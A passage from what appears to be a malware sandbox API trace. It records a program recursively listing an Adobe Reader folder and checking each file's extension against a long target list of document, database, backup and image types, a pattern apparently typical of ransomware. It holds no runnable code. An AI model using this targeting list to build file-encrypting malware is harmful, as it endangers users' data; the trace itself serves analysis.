lstrlenW (lpString=".dx") returned 3 [0274.519] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.519] lstrlenW (lpString=".dxf") returned 4 [0274.519] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".edml") returned 5 [0274.519] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0274.519] lstrlenW (lpString=".efd") returned 4 [0274.519] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".elf") returned 4 [0274.519] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".emf") returned 4 [0274.519] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".emz") returned 4 [0274.519] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".epf") returned 4 [0274.520] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".eps") returned 4 [0274.520] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".epsf") returned 5 [0274.520] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0274.520] lstrlenW (lpString=".epsp") returned 5 [0274.520] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0274.520] lstrlenW (lpString=".erf") returned 4 [0274.520] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".exr") returned 4 [0274.520] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".f4v") returned 4 [0274.520] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".fido") returned 5 [0274.520] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0274.520] lstrlenW (lpString=".flm") returned 4 [0274.520] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".flv") returned 4 [0274.520] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".frm") returned 4 [0274.520] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".fxg") returned 4 [0274.520] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".geo") returned 4 [0274.520] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".gif") returned 4 [0274.520] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".grs") returned 4 [0274.520] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0274.520] lstrlenW (lpString=".gz") returned 3 [0274.520] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0274.520] lstrlenW (lpString=".h") returned 2 [0274.520] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0274.520] lstrlenW (lpString=".hdr") returned 4 [0274.521] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".hpp") returned 4 [0274.521] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".hta") returned 4 [0274.521] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".htc") returned 4 [0274.521] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".htm") returned 4 [0274.521] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".html") returned 5 [0274.521] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0274.521] lstrlenW (lpString=".icb") returned 4 [0274.521] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".ics") returned 4 [0274.521] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".iff") returned 4 [0274.521] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".inc") returned 4 [0274.521] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".indd") returned 5 [0274.521] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0274.521] lstrlenW (lpString=".ini") returned 4 [0274.521] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".iqy") returned 4 [0274.521] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".j2c") returned 4 [0274.521] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".j2k") returned 4 [0274.521] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0274.521] lstrlenW (lpString=".java") returned 5 [0274.521] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0274.521] lstrlenW (lpString=".jp2") returned 4 [0274.521] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0274.522] lstrlenW (lpString=".jpc") returned 4 [0274.522] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0274.522] lstrlenW (lpString=".jpe") returned 4 [0274.522] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0274.522] lstrlenW (lpString=".jpeg") returned 5 [0274.522] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0274.522] lstrlenW (lpString=".jpf") returned 4 [0274.522] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0274.522] lstrlenW (lpString=".jpg") returned 4 [0274.522] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0274.522] lstrlenW (lpString=".jpx") returned 4 [0274.522] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0274.522] lstrlenW (lpString=".js") returned 3 [0274.522] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0274.522] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.522] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0274.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.522] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0274.522] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0274.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0274.523] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0274.523] lstrlenW (lpString="plugin.js") returned 9 [0274.523] lstrlenW (lpString=".1cd") returned 4 [0274.523] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0274.523] lstrlenW (lpString=".3ds") returned 4 [0274.523] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0274.523] lstrlenW (lpString=".3fr") returned 4 [0274.523] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0274.523] lstrlenW (lpString=".3g2") returned 4 [0274.523] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0274.523] lstrlenW (lpString=".3gp") returned 4 [0274.523] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0274.523] lstrlenW (lpString=".7z") returned 3 [0274.523] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.523] lstrlenW (lpString=".accda") returned 6 [0274.523] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0274.523] lstrlenW (lpString=".accdb") returned 6 [0274.523] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0274.523] lstrlenW (lpString=".accdc") returned 6 [0274.523] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0274.523] lstrlenW (lpString=".accde") returned 6 [0274.523] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0274.523] lstrlenW (lpString=".accdt") returned 6 [0274.523] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0274.523] lstrlenW (lpString=".accdw") returned 6 [0274.524] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0274.524] lstrlenW (lpString=".adb") returned 4 [0274.524] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".adp") returned 4 [0274.524] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ai") returned 3 [0274.524] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.524] lstrlenW (lpString=".ai3") returned 4 [0274.524] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ai4") returned 4 [0274.524] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ai5") returned 4 [0274.524] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ai6") returned 4 [0274.524] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ai7") returned 4 [0274.524] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ai8") returned 4 [0274.524] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".anim") returned 5 [0274.524] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0274.524] lstrlenW (lpString=".arw") returned 4 [0274.524] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".as") returned 3 [0274.524] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.524] lstrlenW (lpString=".asa") returned 4 [0274.524] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".asc") returned 4 [0274.524] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".ascx") returned 5 [0274.524] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0274.524] lstrlenW (lpString=".asm") returned 4 [0274.524] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0274.524] lstrlenW (lpString=".asmx") returned 5 [0274.524] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0274.524] lstrlenW (lpString=".asp") returned 4 [0274.525] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".aspx") returned 5 [0274.525] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0274.525] lstrlenW (lpString=".asr") returned 4 [0274.525] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".asx") returned 4 [0274.525] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".avi") returned 4 [0274.525] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".avs") returned 4 [0274.525] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".backup") returned 7 [0274.525] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0274.525] lstrlenW (lpString=".bak") returned 4 [0274.525] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".bay") returned 4 [0274.525] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".bd") returned 3 [0274.525] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.525] lstrlenW (lpString=".bin") returned 4 [0274.525] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".bmp") returned 4 [0274.525] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".bz2") returned 4 [0274.525] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".c") returned 2 [0274.525] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.525] lstrlenW (lpString=".cdr") returned 4 [0274.525] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".cer") returned 4 [0274.525] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0274.525] lstrlenW (lpString=".cf") returned 3 [0274.525] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.525] lstrlenW (lpString=".cfc") returned 4 [0274.526] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".cfm") returned 4 [0274.526] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".cfml") returned 5 [0274.526] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0274.526] lstrlenW (lpString=".cfu") returned 4 [0274.526] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".chm") returned 4 [0274.526] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".cin") returned 4 [0274.526] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".class") returned 6 [0274.526] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0274.526] lstrlenW (lpString=".clx") returned 4 [0274.526] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".config") returned 7 [0274.526] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0274.526] lstrlenW (lpString=".cpp") returned 4 [0274.526] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".cr2") returned 4 [0274.526] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".crt") returned 4 [0274.526] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".crw") returned 4 [0274.526] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".cs") returned 3 [0274.526] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.526] lstrlenW (lpString=".css") returned 4 [0274.526] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".csv") returned 4 [0274.526] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0274.526] lstrlenW (lpString=".cub") returned 4 [0274.526] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dae") returned 4 [0274.527] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dat") returned 4 [0274.527] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".db") returned 3 [0274.527] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.527] lstrlenW (lpString=".dbf") returned 4 [0274.527] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dbx") returned 4 [0274.527] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dc3") returned 4 [0274.527] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dcm") returned 4 [0274.527] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dcr") returned 4 [0274.527] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".der") returned 4 [0274.527] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dib") returned 4 [0274.527] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dic") returned 4 [0274.527] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".dif") returned 4 [0274.527] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0274.527] lstrlenW (lpString=".divx") returned 5 [0274.527] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0274.527] lstrlenW (lpString=".djvu") returned 5 [0274.527] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0274.527] lstrlenW (lpString=".dng") returned 4 [0274.527] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".doc") returned 4 [0274.528] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".docm") returned 5 [0274.528] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0274.528] lstrlenW (lpString=".docx") returned 5 [0274.528] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0274.528] lstrlenW (lpString=".dot") returned 4 [0274.528] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dotm") returned 5 [0274.528] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0274.528] lstrlenW (lpString=".dotx") returned 5 [0274.528] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0274.528] lstrlenW (lpString=".dpx") returned 4 [0274.528] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dqy") returned 4 [0274.528] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dsn") returned 4 [0274.528] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dt") returned 3 [0274.528] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.528] lstrlenW (lpString=".dtd") returned 4 [0274.528] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dwg") returned 4 [0274.528] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dwt") returned 4 [0274.528] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0274.528] lstrlenW (lpString=".dx") returned 3 [0274.528] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.528] lstrlenW (lpString=".dxf") returned 4 [0274.528] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".edml") returned 5 [0274.529] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0274.529] lstrlenW (lpString=".efd") returned 4 [0274.529] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".elf") returned 4 [0274.529] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".emf") returned 4 [0274.529] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".emz") returned 4 [0274.529] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".epf") returned 4 [0274.529] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".eps") returned 4 [0274.529] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".epsf") returned 5 [0274.529] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0274.529] lstrlenW (lpString=".epsp") returned 5 [0274.529] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0274.529] lstrlenW (lpString=".erf") returned 4 [0274.529] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".exr") returned 4 [0274.529] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".f4v") returned 4 [0274.529] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".fido") returned 5 [0274.529] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0274.529] lstrlenW (lpString=".flm") returned 4 [0274.529] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0274.529] lstrlenW (lpString=".flv") returned 4 [0274.530] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0274.530] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0274.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.530] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0274.531] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.531] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0274.531] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0274.531] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0274.532] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.532] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-selector.js", cAlternateFileName="COMBIN~1.JS")) returned 1 [0274.532] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2616, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-tool-view.js", cAlternateFileName="COMBIN~2.JS")) returned 1 [0274.532] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2616, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-tool-view.js", cAlternateFileName="COMBIN~2.JS")) returned 0 [0274.532] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0274.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0274.532] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0274.532] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0274.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.532] FindNextFileW (in: 